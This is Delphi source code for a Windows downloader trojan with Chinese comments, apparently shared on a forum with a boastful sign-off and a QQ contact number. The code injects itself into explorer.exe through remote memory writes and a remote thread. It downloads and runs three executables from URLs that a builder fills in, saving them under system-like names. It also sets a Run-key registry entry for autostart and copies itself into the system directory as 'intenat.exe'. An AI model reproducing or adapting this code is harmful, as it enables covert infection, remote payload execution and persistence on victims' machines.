program server;
{$IMAGEBASE $13140000}
uses
Windows,
SysUtils,
urlmon, //下载单元 ,这个改api减少体积不多
Registry; //注册表单元,这个可以改成api,会减少很多体积
var
url: pchar =' '; //依次3个留出了生成器写入下载地址的位置
url2: pchar =' ';
url3: pchar =' ';
procedure Download; //下载过程
begin
URLDownloadToFile(nil, url, 'C:\windows\temp\system.exe', 0, nil); //下载文件
WinExec('C:\windows\temp\system.exe', SW_SHOW); //SW_SHOW or SW_HIDE //执行文件 sw_show是显示运行,sw_hide是隐藏运行
URLDownloadToFile(nil, url2, 'C:\windows\temp\system2.exe', 0, nil);
WinExec('C:\windows\temp\system2.exe', SW_SHOW); //SW_SHOW or SW_HIDE //winexec可以用api写,减少体积
URLDownloadToFile(nil, url3, 'C:\windows\temp\system3.exe', 0, nil);
WinExec('C:\windows\temp\system3.exe', SW_SHOW); //SW_SHOW or SW_HIDE
end;
var
hModule, hModule_News: Pointer;
Extent, Size, ThreadId: longword;
ProcessHandle, Pid: longword;
reg:TRegistry;
sysdir:array[0..50] of char;
begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程
hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度
Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度
VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp进程的内存范围内分配一个足够长度的内存
hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定起始基址和内存映像基址的位置
WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//确定上面各项数据后,这里开始进行操作
CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
//建立远程线程,至此注入过程完成
CloseHandle(ProcessHandle);
//关闭对像
{上面这段代码是插进程explorer.exe}
begin
Reg := TRegistry.Create;
Try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('system', 'intenat.exe'); //写入数据
Reg.CloseKey;
Finally
Reg.Free;
End;
//上面是写注册表代码
GetSystemDirectory(sysdir,50); //获取系统目录,赋给sysdir变量 ,getwindowsdirectory是获取windows目录
if not FileExists(sysdir+'\intenat.exe') then //如果系统目录下不存在intenat.exe则执行
copyfile(pchar(paramstr(0)),pchar(sysdir+'\intenat.exe'),true); //复制自身到系统目录下,名字是intenat.exe
end;
end.
看我的
呵呵
加入了进程注入了
还有程序自启动
QQ:65625425